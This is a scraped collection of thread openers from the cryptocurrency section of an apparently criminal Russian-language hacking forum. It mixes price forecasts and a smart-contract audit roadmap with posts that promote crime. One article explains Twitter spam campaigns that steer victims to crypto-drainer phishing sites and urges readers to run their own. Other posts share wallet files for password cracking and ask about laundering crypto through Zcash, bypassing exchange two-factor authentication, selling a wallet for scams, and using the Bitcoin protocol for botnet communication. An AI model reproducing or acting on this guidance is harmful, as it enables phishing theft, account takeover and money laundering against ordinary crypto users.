Cryptocurrencies

Новости о криптовалютах и блокчейне
ID: 67686ad7b4103b69df379657
Thread ID: 36479
Created: 2020-04-18T10:29:52+0000
Last Post: 2024-11-17T19:04:26+0000
Author: LegolasGL
Replies: 181 Views: 66K

Популярный криптовалютный аналитик Dave the Wave, чьи прогнозы неоднократно оказывались правильными, считает, что к 2029 году курс первой криптовалюты может достичь $400 000.
В июле 2019 года аналитик предсказал снижение BTC с $11 600 до $6 000 к концу года, заявив, что первую криптовалюту ждет параболическое падение. Сейчас же он обновил свой долгосрочный прогноз, используя модели кривых на основе ценовой истории BTC. По его мнению, волатильность биткоина будет снижаться, но его еще ждут несколько взлетов и падений.

Согласно представленному графику, Dave the Wave ожидает роста первой криптовалюты до $130 000 к 2023 году и затем постепенное снижение до $40 000, то есть, до трети от максимальных значений. Затем курс биткоина будет постепенно расти до $400 000. При этом аналитик подчеркнул, что каждый новый цикл будет увеличиваться во времени.

Что же касается краткосрочных перспектив первой криптовалюты, то, по мнению аналитика Алекса Крюгера (Alex Kruger), в ближайшее время биткоин должен достичь $7 700, а затем последует откат до $6 400.

Недавно Росс Ульбрихт (Ross Ulbricht) говорил о том, что биткоин может снизиться до $3 200, а криптовалютный скептик Питер Шифф (Peter Schiff) считает, что после уполовинивания награды майнерам биткоин вовсе никому не будет нужен.

Загадочный аналитик предсказал рывок биткоина до $87.000
ID: 67686ad7b4103b69df379a3d
Thread ID: 29840
Created: 2019-06-18T17:21:23+0000
Last Post: 2021-02-10T20:58:38+0000
Author: pablo
Replies: 105 Views: 35K

Аналитик, пожелавший остаться неизвестным, еще 21 января 2019 года спрогнозировал увеличение курса биткоина до $9200 к июлю и оказался прав.

Он разместил пост в одной из социальных сетей, в котором объявил, что в апреле биткоин вырастет до $5300, а в июле будет торговаться на уровне $9200. В середине апреля BTC действительно не только достиг отметки в $5300, но и продолжил демонстрировать восходящую траекторию движения.
![](/proxy.php?image=https%3A%2F%2Fcoinspot.io%2Fwp- content%2Fuploads%2F2019%2F06%2F2729142b1a1117a5ef624c952a5d0603.png&hash=2e3ff7256e330dcac6a0f4249e00972c)
По прогнозам этого же анонимного аналитика, в октябре 2019 года биткоин подорожает до $16 000, а в феврале 2020 года подскочит до $29 000. В июле будущего года монета будет стоить $56 000, а в ноябре вырастет до $87 000.

Примечательно, что эксперт написал не $87 000, а $87 00, но очевидно, что он имел ввиду трехзначный показатель. Общая капитализация криптовалютного рынка к концу 2020 года достигнет $1,5 трлн, а индекс доминирования биткоина составит 40-46%.

Эксперт отметил, что так называемое «дно» крипторынка было зафиксировано в середине декабря. В марте началась фаза накопления, продлившаяся три месяца. Теперь мы должны стать свидетелями длительного и устойчивого укрепления монеты, которая движется к новым максимумам.

Как думаете, реальный прогноз? Или очередное "bitcoin письмо из будущего"?

Дорожная карта для аудита Web3/смарт-контрактов 2022 / 2023 особо ничего не поменялось
ID: 67686ad7b4103b69df379658
Thread ID: 73652
Created: 2022-09-26T16:44:51+0000
Last Post: 2023-11-07T07:59:43+0000
Author: вавилонец
Prefix: Статья
Replies: 106 Views: 29K

1664209884377.png
[ОРИГИНАЛЬНАЯ СТАТЬЯ](https://sm4rty.medium.com/roadmap-for-web3-smart- contract-hacking-2022-229e4e1565f9)
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ XSS.IS
$600 на SSD для --->bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поднятия ноды ETHEREUM и тестов

1. Изучите основы блокчейна и Ethereum.

Первый шаг — нам нужно изучить основы технологии Blockchain и различные термины, такие как блоки, узлы, майнинг, хеширование и т. д. Затем мы можем изучить основы Ethereum. Изучение основ блокчейна даст нам общее представление о том, как работает эта технология, и даст вам представление о том, с чем мы имеем дело.

Что такое Блокчейн?

Блокчейн — это распределенная база данных или реестр, который совместно используется узлами компьютерной сети. В качестве базы данных блокчейн хранит информацию в электронном виде в цифровом формате. Ethereum — это протокол блокчейна, такой как биткойн. В отличие от Биткойна, Ethereum является завершенным по Тьюрингу, что означает, что он может приблизительно имитировать вычислительные аспекты любого другого реального мира, компьютера общего назначения и запускать программы.

Дальнейшее чтение
https://www.investopedia.com/terms/b/blockchain.asp

https://github.com/ethereumbook/эфириумбук

Click to expand...

2. Смарт-контракты и язык программирования.​

Далее мы можем узнать о смарт-контрактах и о том, как писать смарт-контракты с использованием таких языков программирования, как Solidity или vyper. В настоящее время Solidity является наиболее часто используемым языком программирования для написания смарт-контрактов.

Что такое смарт-контракты?

Смарт-контракты — это просто компьютерные программы, работающие в сети блокчейн. Эта концепция была впервые придумана ученым-компьютерщиком и криптографом Ником Сабо в конце 1990-х годов. Однако сначала они были реализованы протоколом Ethereum.
Что касается Solidity, мы можем узнать об этом из различных источников, таких как документация, учебные пособия YouTube, блоги и т. д. Ниже я предоставлю ссылки на некоторые из этих ресурсов.

Дальнейшее чтение:
<https://lifemathmoney.com/what-is-a-smart-contract-explained-with-real- world-examples/>

https://cryptozombies.io/ru/course/
https://docs.soliditylang.org/en/latest/
https://solidity-by-example.org/

Click to expand...

3. Изучите среды тестирования, такие как hardhat/foundry ​

Затем мы можем изучить среды тестирования, такие как hardhat/foundry, которые помогают нам запускать смарт-контракты в локальной среде и запускать тесты для смарт-контрактов. Мы также можем использовать Remix IDE для этой цели, но для больших проектов гораздо лучше настроить локальную среду тестирования. Таким образом, изучение этих фреймворков имеет много преимуществ и плагинов, которые полезны при тестировании или написании POC для наших атак.
Существует множество фреймворков для тестирования. Но самые известные из них:
Foundry : в Foundry тесты и сценарии написаны на Solidity.
Hardhat : в Hardhat тесты и сценарии написаны на Javascript.
Brownie : в Brownie тесты и скрипты написаны на Python.

Дальнейшее чтение:
https://book.getfoundry.sh/
https://hardhat.org/docs
https://eth-brownie.readthedocs.io/en/stable/

Click to expand...

4. Изучите основы финансов.​

Это то, на чем мало кто сосредотачивается на обучении. Но будет время, когда вы проводите аудит проекта DeFi, в котором используется множество традиционных финансовых терминов, и вы ничего не понимаете. Когда вы посмотрите на эти термины, вы получите определения, которые относятся к еще большему количеству терминов, которых вы не знаете. Таким образом, изучение финансов очень важно в веб3, так как большинство проектов связаны с финансами.
В проектах DeFi мы будем иметь дело с некоторой финансовой терминологией, такой как акции, книга заказов, рынок, биржи, DEX, опционы и многие другие. Ниже я разместил ссылки на несколько ресурсов для изучения финансов.

Дальнейшее чтение:
https://academy.binance.com/en
https://teachyourselfcrypto.com/#ftoc-децентрализованные-биржи- dexs
<https://www.khanacademy.org/economics-finance-domain/core- finance/derivative-securities>

Click to expand...

5. Векторы атак DEFI: ​

DeFi предоставляет финансовые инструменты, не полагаясь на посредников, таких как брокерские конторы или банки. Эти приложения позволяют пользователям сохранять, брать взаймы, одалживать и торговать без каких-либо комиссий (которые получает любая финансовая компания, такая как банк).
Это некоторые часто используемые протоколы в большинстве проектов DeFi. Хорошо познакомиться с ними и глубоко понять, как они работают и их нюансы.

Векторы атак DeFi:
После изучения DeFi, т.е. децентрализованных финансов, следует изучить некоторые общие направления атак и способы их смягчения. Ниже приведены несколько векторов атак DeFi и меры по их устранению:
_1. Флэш-кредит – манипулирование ценой с оракулом
2. Повторная атака
3. Натяжка ковра. _

Дальнейшее чтение:
https://teachyourselfcrypto.com/#ftoc-module-4-decentralized-finance-defi
<https://academy.moralis.io/blog/defi-deep-dive-explaining-defi-attack- vectors-and-prevention>
https://crypto.com/research/attacks-and-exploits-in-defi

Click to expand...

6. Изучите часто используемые библиотеки и стандарты токенов: ​

Существуют определенные контракты, шаблоны или даже алгоритмы, с которыми вы будете сталкиваться снова и снова в течение своей аудиторской карьеры. Хорошо познакомиться с ними и глубоко понять, как они работают и их нюансы.

Дальнейшее чтение:
https://github.com/OpenZeppelin/openzeppelin- контракты

https://www.youtube.com/watch?v=JgSj7IiE4jA
https://ethereum.org/en/developers/docs/standards/tokens/

Click to expand...

7. Изучите распространенные ошибки смарт-контрактов, инструменты и лучшие

практики ​

Реестр SWC предоставляет набор классификаций, содержащих список известных на сегодняшний день атак. Реестр SWC предоставляет идентификатор (ID) SWC, заголовок и список примеров, связанных с кодом.
Существуют общие факторы атаки, на которые должен обратить внимание аудитор смарт-контрактов, такие как проблемы с контролем доступа, целочисленные переполнения и недополнения, а также уязвимости повторного входа (для DApp, написанных на Solidity).

Наиболее распространенные инструменты:
я.
Slither** :** Обнаруживает уязвимый код Solidity с низким уровнем ложных срабатываний.
II.Echidna** :** Echidna — это программа, предназначенная для фаззинга/тестирования на основе свойств смарт-контрактов Ethereum.
III.Surya** :** Предоставляет ряд визуальных выходных данных и информацию о структуре контрактов.
IV.[Eth Security Toolbox](https://github.com/trailofbits/eth- security-toolbox)** :** это контейнер Docker, предварительно установленный и настроенный со всеми инструментами безопасности Ethereum от Trail of Bits.

Лучшие практики Solidity:
Вы можете ознакомиться с рекомендациями по Solidity из [consensys ](https://consensys.net/blog/developers/solidity-best-practices-for-smart- contract-security/)или предпочесть блог Secureum ( 1 и [часть ](https://secureum.substack.com/p/security-pitfalls-and-best- practices-101)) для понимания лучших практик обеспечения безопасности.

Дальнейшее чтение:
https://swcregistry.io/
https://secureum.substack.com/p/audit-techniques-and-tools-101
[https://secureum.substack.com/p/security-pitfalls-and-best- practices-101](https://secureum.substack.com/p/security-pitfalls-and-best- practices-201)
https://secureum.substack.com/p/security-pitfalls-and-best-practices-201

8. Выполняйте задания CTF.​

После того, как мы изучили основы Ethereum, Solidity и Testing Frameworks, а также некоторые распространенные уязвимости смарт-контрактов. Затем мы можем перейти к CTF, чтобы проверить наше изучение всех наших знаний. Существует множество CTF для Smartcontract, таких как Ethernaut, Damnvulnerabledefi или Capture The Ether, вы можете их заполнить. Также, если вы хотите решить более сложные CTF, вы можете попробовать paradigm ctf. Ниже приведены ссылки на эти CTF.

  1. Ethernaut компании Openzeppelin
  2. Захват эфира
  3. Чертовски уязвимый DeFi
  4. Парадигма CTF-2021
  5. Шифршаста

9. Читайте аудиторские отчеты и постмортемные блоги: ​

Это самый важный этап, постарайтесь прочитать как можно больше отчетов. Это поможет вам понять различные логические ошибки и поможет вам понять мыслительный процесс, который аудит.
Вы можете найти отчеты об аудите многих протоколов по ссылке ниже:

10. Непрерывное обучение и исследования ​

Web3 очень динамичен по своей природе. Поэтому вам нужно быть в курсе всех исследований и новых атак. Вы можете следить за приведенными ниже ресурсами, чтобы быть в курсе последних новостей, атак, исследований и т. д.
Информационные бюллетени : Blockthreat , HashingBit , Immunefi
Сообщества Discord : Immunefi , Secureum , Blockchain , QuillAudits и т.
Блоги : Immunefi , Coinmonk , TrailOfBits , Secureum Openzeppelin , QuillAudits и др.
Твиттер : Будьте активны в Твиттере и следите за последними исследованиями и направлениями атак.

[НЕОБЯЗАТЕЛЬНО] Изучайте математику:​

Дополнительная литература: [https://medium.com/@TrustChain/do-y...tarted-in- smart-contract-hacking-443ff52b418d](https://medium.com/@TrustChain/do-you- need-math-to-get-started-in-smart-contract-hacking-443ff52b418d)

[-] Начните свое путешествие по Bug Bounty​

Код4рена
Hakenproof
Хакероне

<https://medium.com/immunefi/hacking-the-blockchain-an-ultimate- guide-4f34b33c6e8b>
https://cmichel.io/how-to-become-a-smart-contract-auditor/
https://secureum.substack.com/
[Карта разума аудиторов RazzorSec](https://coggle.it/diagram/YqLzaiSABzXD4UnZ/t/smart-contract- auditor)

КАЖДЫЙ ДЕНЬ ПИШИ КОД.
КАЖДЫЙ ДЕНЬ ЧИТАЙ НОВУЮ СТАТЬЮ СВЕРХУ ПЛАНА ОБУЧЕНИЯ.
СПРОСИ ЕСЛИ НЕ ПОНЯТНО В КОММЕНТАРИЯХ - ГЛУПЫХ ВОПРОСОВ НЕ БЫВАЕТ.
ВСЕМ ПРИЯТНОГО РАЗВИТИЯ

Майнинг - жив?
ID: 67686ad7b4103b69df379a60
Thread ID: 27849
Created: 2019-02-13T18:56:39+0000
Last Post: 2020-10-22T14:10:11+0000
Author: lukas
Replies: 72 Views: 27K

Подскажите, майнинг жив или нет? Интересует в первую очередь биток и топ-10 валют
как, хотя бы примерно, расчитать доход, например, на 12 x 1080TI? какое оборудование сейчас стоит использовать?
я не вошел в майнинг в 2016-17м, но сейчас появились свободные 20-30к$, думаю, начать ли вникать в эту тему?

Чистка крипты
ID: 67686ad7b4103b69df379803
Thread ID: 30469
Created: 2019-07-17T18:22:46+0000
Last Post: 2023-08-14T08:01:09+0000
Author: Whisper
Replies: 72 Views: 26K

Заводим грязную крипту на кошель обменник exodus, переводим в zcash и через перевод сковзь z-addr получаем анонимную(не в курсе про анонимизицию через z-addr? - читай на сайте зикеша.).
(естественно торы, впны, виртуалки, чистые носки, боевые сто грамм, завещание у нотариуса, семья за границей,...). Вопрос какие слабые места в схеме? (именно в схеме ..->exodus->zec.., про комиссии кошеля и ненадежность Абдула хостинга рассказывать не нужно).

Twitter — источник трафика №1 или как наскамить на 1 000 000 $
ID: 67686ad7b4103b69df379779
Thread ID: 80388
Created: 2023-01-21T07:39:25+0000
Last Post: 2024-03-02T12:32:25+0000
Author: elonscam
Prefix: Статья
Replies: 128 Views: 24K

2352.png

🐣 Twitter — это первоисточник криптоновостей и событий, связанных с Web3 ⛓ Криптаны первым делом публикуют анонсы любых своих проектов именно там, а уже потом эта информация разлетается по иным соцсетям ✈️ По этому, было бы глупо, нам, комьюнити XSS, обойти стороной столь жирный источник криптотрафика и как следует не заработать на этом 😋

🙅‍♂️В общем, я никогда не любил долгие предисловия, посему сразу приступим к делу — как в данный момент скамеры зарабатывают миллионы долларов путём спама на крипто драйнер в сервисе Илона Маска?🤔
Crypto Drainer — это скрипт встроенный в фишинговый сайт, который взаимодействует с кошельками пользователей для подписания вредоносных транзакций и незаметного списания всех токенов и NFT из их кошельков.

📖 Вся предоставленная ниже информация изложена исключительно в ознакомительных целях! Автор ни в коем случае не призывает проводить данные манипуляции ❌🙅‍♂️👎 Не занимайтесь такими вещами, реально 😔

Click to expand...

МЕТОДЫ СПАМА, КОТОРЫЕ ПО СЕЙ ДЕНЬ ПРИНОСЯТ MONEY:​

  1. _

Упоминания: Retweet/ретвиты (цитировать).

_

  1. _

Сообщения.

_

1. Retweet — массовые отметки

💭

Если вы активный пользователь Twitter, то наверняка сталкивались с тем, что вас постоянно упоминают в различных сомнительных сейлах и дропах:
1111.png

Если кликнуть на данный пост и обратить внимание на количество ретвитов, то путём элементарной математики можно посчитать, что в общем и целом аферисты проспамили 12800*13=166400 человек — неплохие объёмы:

1111.png

Было бы неплохо узнать, сколько же данная операция принесла денег нашим уважаемым товарищам скамерам 🤔

Code:Copy to clipboard

Заходим на сайт>коннектимся>достаём кошелёк: 0xd13b093EAfA3878De27183388Fea7D0D2B0AbF9E

На счету лицезреем вполне внушительную сумму:
1111.png

Видим, что поступления в основном небольшие, можно даже сказать копеечные:
1111.png

Однако, не редкость и залёты более 1 ether, что уже достаточно серьёзный результат: 1111.png

Но не удивляйтесь раньше времени, все вышеуказанные суммы с данного промежуточного адреса скамеров — ничто, по сравнению с тем, какое количество денег они аккумулируют на своём main кошельке:
1111.png
_

https://etherscan.io/address/0x84527b5949d479c879b8dd71cd8f79048cdf6fb8

_
МИЛЛИОН ДОЛЛАРОВ США С ЭЛЕМЕНТАРНЕЙШЕГО ИСТОЧНИКА ТРАФИКА О КОТОРОМ Я РАССКАЗЫЮ ВАМ БЕС -ПЛА -ТНО — ДОСТОЙНО, НЕ ПРАВДА ЛИ?

Тот метод кражи что юзали данные особы, кстати, драйнером то даже назвать неловко, ведь использовали они банальный трансфер, повестись на который, как мне казалось, могут только лютые лохмачи 🦣:
1111.png

Будь у них драйнер с функцией APPROVE/PERMIT для токенов и setApprovalForAll/SEAPORT для NFT — возможный доход выходил бы за рамки приличия.

2. Сообщения — банальный спам в личку

📩

Тут, собственно, как и в предыдущем варианте — ничего удивительного 💁‍♂️ Кто-то присылает ссылку на твит, в котором, якобы, анонс бесплатной NFT- коллекции от популярного креатора:

1111.png

Жмякаем на твит и видим выразительно оформленный пост со ссылкой на фишинговый драйнер сайт:

1111.png

Кто-то из вас спросит, действительно ли работает столь элементарный метод привлечения трафика и клюёт 🎣 ли кто-то на такие вещи по сей день? 🧐 🤷🏻‍♂️ смотрим 👇

Мы наглядно можем убедится — что да ✨ вышеперечисленные источники трафика хоть и древние как мир, но по-прежнему работают и приносят хороший доход 💸 а на сколько именно хороший — зависит от вас и ваших стараний 🤙🏻 Вот, к примеру, взять один из крайних крупных инцидентов, когда челики зафейкали страницу раздачи Aptos и за 24ч залутали порядка 700 ETH ($1m) 📈 можете ознакомится по ссылке:

__https://twitter.com/x/status/1584955933452484613

❓А что мешает каждому из нас просто взять, и запустить свой личный поток трафика, который на постоянной основе будет генерировать неплохие котлеты 💵 денег? Правильно — НИ ЧЕ ГО! Пожалуй, прямо сейчас этим и займусь 🤑 А вам желаю не упустить этот момент и начать предпринимать хоть какие-то действия, пока темка всё ещё пуляет 🚀 Ну, а если у кого-то из вас абсолютно нет возможности и представления как реализовать сей процесс привлечения трафика — ожидайте следующую часть статьи, в которой я поведаю вам где взять качественный криптодрайнер без дырок и у кого арендовать необходимый софт для работы с твиттером, а так-же поясню практически за все нюансы работы с данной платформой и постараюсь каждого из вас за ручку довести до профита 😍

СТАТЬЯ ЧАСТЬ 2 — В СООБЩЕНИИ НИЖЕ👇

Кошельки BTC Core с утерянными паролями
ID: 67686ad7b4103b69df379a48
Thread ID: 42240
Created: 2020-09-18T16:14:35+0000
Last Post: 2020-12-31T22:37:49+0000
Author: Benzodiazepine
Replies: 60 Views: 20K

Предлагаю в этой теме публиковать кошельки BTC, к которым в данный момент пароль так и не подобран.
Кто-то успешно зарабатывает на продаже этих самых кошельков (пример - https://allprivatekeys.com/wallet.dat), но я считаю для сообщества XSS такие файлы должны быть доступны на безвозмездной основе.
Для просмотра баланса понятное дело у вас должен быть Bitcoin Core и вся скаченные блоки на данный момент.
Так же в теме приветствуется коллективное обсуждения относительно возможных наборов словарей к .dat файлам, их происхождение, программное обеспечение для подбора паролей на разных платформах (не только HashCat) и т.п.

Загрузить -

Hidden content for authorized users.

https://mega.nz/folder/V80QVC7Z#-PiS_auAhY7mVkU0c45_sg

Перезалито на мегу. Убран неактуальный кошелек на 69к BTC.

Hamster kombat
ID: 67686ad7b4103b69df3796c1
Thread ID: 115510
Created: 2024-05-27T20:18:32+0000
Last Post: 2024-09-27T10:56:08+0000
Author: Onyx1050
Replies: 101 Views: 15K

Народ щас вроде в хайпе приложение
Hamster kombat, играя в игру можно срубить бабла,я в этом новичок особо подскажите научите как можно срубить бабла или не срубить,вообщем нужна ваша помощь как эта тема работает, помогите пожалуйста.
Пишите сюда или мне в ЛС.

Etherium баланс 1491 кто сбрутит?
ID: 67686ad7b4103b69df379965
Thread ID: 49858
Created: 2021-03-25T16:08:54+0000
Last Post: 2022-05-27T20:31:30+0000
Author: mrgoldverified
Replies: 87 Views: 14K

После обновы пароль не подходит.
Ищу профессионала кто забрутить, кош мой,пароли есть, даю только хэш.
Черти,бесы,малолетки, посредники не пишите.

Снятие 2FA с криптобирж
ID: 67686ad7b4103b69df379a18
Thread ID: 29193
Created: 2019-05-09T19:58:08+0000
Last Post: 2021-06-19T07:34:31+0000
Author: lukas
Replies: 26 Views: 12K

Неоднократно встречал объявления

Снимаю 2FA с бирж Bittrex, Binance, Bitfinex, Coinbase, Blockchain, Poloniex, HitBTC и других и вывожу деньги 50/50

Click to expand...

Никогда не нуждался в сабж услугах, но теперь возникла необходимость.
Приходится копнуть и изучать тему
Поделитесь инфой или просто мыслями, как именно снимают двухфакторки? как селлеры обходят антифроды бирж?
А если кто-то сам метод сольет, так вообще буду премного благодарен :))

Прогнозы и аналитика цены bitcoin
ID: 67686ad7b4103b69df379a4d
Thread ID: 26294
Created: 2018-10-09T19:40:42+0000
Last Post: 2020-12-17T23:59:59+0000
Author: tabac
Replies: 29 Views: 12K

Добрый день!
Здесь буду постить прогнозы и аналитику по курсу биткоина. Обычно собираю с разных телеграм каналов или трейдинговых сообществ.

Коротко о торгах с 24 сентября по 1 октября

За неделю с 24 сентября по 1 октября на бирже Bitfinex биткоин подешевел на 1,62%, до $6601. Для криптовалют неделя прошла относительно спокойно. Рынок остался без драйверов, поскольку SEC протянул время и не стал принимать решение по ETF. Регулятор его отложил на неопределенный срок для более детального изучения деривативов на биткоин.

Краткосрочная активность наблюдалась в альткоинах. Положительную динамику для всего рынка создавали Bitcoin Cash, Ripple и LTC. После нисходящих коррекций эти монеты дорожали к доллару США на 25%.

Монета Ripple подорожала на новостях, что Coinbase Custody рассматривает новые активы для включения в листинг, среди которых был Ripple.

Bitcoin Cash на минувшей неделе тоже поддержали две новости. Первая из них — биржа Gemini получила одобрение от нью-йоркских регуляторов на листинг BCH. Вторая хорошая новость заключалась в том, что Bitmain подал заявку на проведение IPO. Вслед за Bitcoin Cash подорожал Litecoin. За ним последовал рост курса биткоина.

Курс биткоина повышался до $6826. Без новых драйверов покупателям не удалось пройти зону сопротивления на отметке $6900. Цена стабилизировалась на уровне $6600. Из-за четырехдневного бокового тренда в паре BTCUSD технические индикаторы стали сигнализировать о его ослаблении. Аналогичная ситуация сейчас наблюдается в альткоинах: ETHUSD, LTCUSD, BCHUSD, XRPUSD

Click to expand...

Если учитывать временной фактор, то по циклам крипторынок находится в переходной фазе с «медвежьего» тренда на «бычий». Для ралли биткоина нужно, чтобы альткоины синхронизировались между собой (постояли на одном уровне около 2-3 дней). В этом случае дневные индикаторы начнут сигнализировать об их покупках. Вот тогда можно ожидать пробой уровня $6900 и укрепление до $8600 за биткоин.

На дневном графике я показал идеальный вариант для старта:
1. Стохастик перемещается в зону покупок.
2. Курс btc снижается до 6255.
3. Рикошет от 6255 к трендовой линии.
4. Непродолжительный флэт по 6900
5. Пробой и рост до 7840 по каналe D-D.

Также показал и другой вариант, если вниз не пойдём, а цена простоит под 6900 до 8.10. В альтах стохастик тоже должны переместиться в зону покупок иначе не получится всем стартануть на одном энтузиазме без новостных драйверов.

Click to expand...

Последний обзор по биткоину я писал 2 октября. К 6 октября ситуация на рынке не изменилась. Текущий курс $6574. На данный момент цена устраивает продавцов и покупателей. Она находится в боковом тренде с 8 сентября. За это время сформировался ценовой диапазон в 740 долларов.

На шестичасовом ТФ границы диапазона сузились до 224 долларов. По моим расчетам цена должна выйти из него в воскресенье. Спекулянты либо расширять диапазон, либо рынок продолжит флэтить в ожидании новостных драйверов.

Я нахожусь в лагере быков и настроен на укрепление биткоина. Покупатели перед вчерашним закрытием на торгах в Азии попытались пробить трендовую линию (H7429 – H6826). Попытка не увенчалась успехом. Цена вернулась с 6741 на 6575. Покупатели не стали сопротивляться, поскольку уперлись в лимитные ордера. Это значит, что на пути к 6800 ещё много продавцов. На свече 23:00 на уровне 6635 продавцы через лимитки сдержали атаку покупателей.

Прогноз на рост от 2.10 не стал корректировать. Перед ростом цена может вернуться к 6520. Если цена срикошетит от него до 6610, то с вероятностью 80%, будет пройдена трендовая на 6780 и потом горизонтальное сопротивление 6850.

Click to expand...

Покупатели на торгах в Азии (07.10.18 в 20:00 UTC) предприняли попытку рвануть вверх, но выдохлись через пару минут около отметки 6640. Все как обычно, две минуты активности - длительный флэт. За семь часов продавцы отыграли азиатские потери. Цена скатилась с 6640 до 6585.

Покупателям не хватает новостных драйверов, чтобы развернуться на полную катушку. Не исключаю, что участники рынка находятся в ожидании запуска введения нового обновления Constantinople в сети Эфириум, которое было отложено до 14 октября. Оно может повысить интерес к покупкам эфира и других альткоинов.

Сегодня давление на крипторынок оказал слух о неплатежеспособности биржи Bitfinex. Руководство биржи опровергло обвинения в свой адрес. Рынок стабилизировался и ближе к открытию покупатели предприняли ещё одну попытку возобновить рост. Курс биткоина вырос до 6730, курс эфира - до 234.

Покупателям в биткоине сейчас нужно пройти 6741, чтобы спровоцировать продавцов закрывать короткие позиции, которые открывались ниже 6700 в ожидании прорыва вниз. Техническая картина на стороне покупателей, поэтому у них все козыри чтобы пройти сегодня 6850.

Click to expand...

633 битка по истории кошелька
ID: 67686ad7b4103b69df379a45
Thread ID: 36517
Created: 2020-04-19T18:03:36+0000
Last Post: 2021-01-14T12:34:35+0000
Author: AtlantXXI
Replies: 45 Views: 11K

Добрый.
Есть кошель биткоин, на котором в 2013 года лежало 633 битка.
подскажите что с ним можно сделать?
иожет кто купит для скама или других каких нибудь своих тем?

Вывод Bitcoin в наличные через карты
ID: 67686ad7b4103b69df379aab
Thread ID: 26884
Created: 2018-12-14T12:08:19+0000
Last Post: 2019-06-11T16:56:08+0000
Author: tabac
Replies: 29 Views: 11K

Через какие сервисы сейчас удобно выводить bitcoin в нал?
раньше все пользовались advcash, потом мастеркард прикрыл это все дело. и не только для advcash, для многих
какими картами и сервисами люди пользуются сейчас?

Безопасный криптокошелек
ID: 67686ad7b4103b69df379674
Thread ID: 113764
Created: 2024-05-02T19:06:51+0000
Last Post: 2024-12-06T20:52:14+0000
Author: marmalade
Replies: 72 Views: 11K

Кошельник

- Exodus - еще не все знают что он под мусорами
- USDT вообще блокируют по запросу
- USDC полнейшая регуляция

+ Wasabi Wallet - дефакто стандарт индустрии но они выключают CoinJoin, но нельзя сказать что они стучат
+ Sparrow Wallet - из видных остался еще, тоже выключают свой миксер Whirlpool client и Soroban
+ Electrum - как один из старейших холодным кошелько потому что опен-сорс. Тут понятно
+ Bitcoin Core - первый воллет, без регуляции https://github.com/bitcoin/bitcoin/releases
+ Feather Wallet - XMR https://featherwallet.org/

- Samorai Wallet - некоторые пользовались но основателей приняли за миксер и монеты сейчас хрен вытащишь

? JoinMarket - BTC, реализация CoinJoin. Аккуратно, могут прижать девов в любой момент https://joinmarket.net/
? Atomic Wallet - пока нет информации, но был крупный взлом
? Electrum
? SafePal
? ронин валлет
? с98
? Ledger

Биржи

tradeogre.com - централизованная но без регуляций, моментальный ввод-ввывод без KYC. Но не большая ликвидность и немного пар
bisq.network - децентр, интересный концепт. Кто пользовался?
blockdx.net - децентр. интересный концепт, по замороченно. Кто пользовался?

Дискас!
Может составим набросаем варианты нормальных кошельков, желательно с миксером и я обновлю этот топик?

Идеи для заработка на криптовалюте, без воды.
ID: 67686ad7b4103b69df3796b6
Thread ID: 115667
Created: 2024-05-30T03:02:21+0000
Last Post: 2024-10-09T02:25:16+0000
Author: luckybins
Replies: 69 Views: 11K

Всем привет!

Пришла в голову идея создать тему, где буду публично делиться своими лучшими идеями для заработка на криптовалютном рынке. Никакого трейдинга, фьючерсов и прочих разводов. Только нормальные мувы)

Чтото с вложениями, чтото без вложений.

Будет ли вам такое интересно? Отпишите

Биткоин - умер?
ID: 67686ad7b4103b69df379a95
Thread ID: 26554
Created: 2018-11-14T20:59:33+0000
Last Post: 2019-11-10T16:52:43+0000
Author: lukas
Replies: 27 Views: 11K

сегодня захожу, как ни в чем не бывало, на графике -12% и -850$ цены
потерь - море (
битку - пиздец? или попытки расшевелить и организовать вкусный прострел вверх?
как думаете?

Bitcoin P2P PROTOCOL
ID: 67686ad7b4103b69df379ad6
Thread ID: 24896
Created: 2013-12-30T21:06:39+0000
Last Post: 2013-12-31T09:06:43+0000
Author: Chococream
Replies: 2 Views: 10K

Bitcoin P2P PROTOCOL

План:

1)Права, защищающие этот документ.

2)Пролог.

3)Техническое описание протокола.

4)DNS seed.

5)STUN: getting external IP address.

6)Эпилог.

Click to expand...

Текст:
1)

Во-первых данный документ носит лишь исследовательский характер и не является призывом к совершению
неправомерных поступков, нарушающих законодательство вашей страны!
Во-вторых незаконное копирование частей текста и любых других его составляющих карается законом
по защите авторских прав собственности!
Разрешено копирование на ваш ресурс, только с указанием автора текста, а также гиперссылки на
оригинальную тему.

Click to expand...

2)Пролог
Вообщем-то различные методы осуществления коммуникации между ботами в сети прежде были описаны мною
в этой статье: https://xss.is/index.php?topic=23932 (блог https://dlab.im/blog/23.html )
Из всех предложенных способов, я решил выбрать в качестве тестов 11 метод "Bitcoin".

В 2х словах: bitcoin - это P2P ЭПС(электронная платёжная система) написанная на C++ с Qt Framework.
Хорошей документации, в целом, по исходному коду и протоколу нет. Основные изменения в протоколе
публикуются в основном как BIP(bitcoin improvement proposals) на github/sourceforge.
Начиная с 08 года(момент публикации автором bitcoin) альфа-версии 0.1, происходит постепенная
"рассортировка" кода(блоки кочуют из одного файла в другой), вследствие чего, весь код наслаивается
будто лапша. Впрочем, это только моё мнение :)

Click to expand...

_
Транзакции в сети проходят с участием пользователей, которые считают DOUBLE- SHA256 хэш от блока, набитого
присланными данными. Эти действия(выполнение proof-of-work) позволяют поддерживать стойкость сети
к различного рода атакам(примером может служить: double-spending attack).

Подробно об устройстве вы можете почитать в официальном доке: bitcoin.org/bitcoin.pdf
_

![](/proxy.php?image=http%3A%2F%2Fupload.wikimedia.org%2Fwikipedia%2Fcommons%2Fthumb%2F5%2F54%2FTotal_bitcoins_over_time.png%2F740px- Total_bitcoins_over_time.png&hash=751260e2408682949207fa6303c8c484)

Будучи хорошо распиаренной системой, текущая стоимость всех добытых денег в системе почти 10
миллиардов долларов(статистика - coinmarketcap.com).

Click to expand...

3)Техническое описание протокола
Bitcoin использует TCP для передачи данных между нодами.
Существуют всего 2 сети: основная(порт 8333) и тестовая(порт 18333). Сеть поддерживает IPv4, IPv6 адреса.

Структура пакета:

Я выделил 14 основных команд: version, verack, getaddr, addr, inv, getdata, getblocks, getheaders, tx, block, headers, alert, ping, submitorder, checkorder, reply.

version - информация о версии bitcoin и количестве блоков. Передаётся при первом подключении.
verack - передаётся в ответ на пакет "version".
getaddr - запрос на список доступных нодов.
addr - список IP адресов с портами.
inv - передаётся, когда нод получает новый блок с транзакциями.
getdata - запросить блок или транзакцию по хэшу.
getblocks - запросить блоки в виде пакета "inv" в определённом промежутке.
getheaders - запросить блоки в виде пакета "headers" в определённом промежутке.
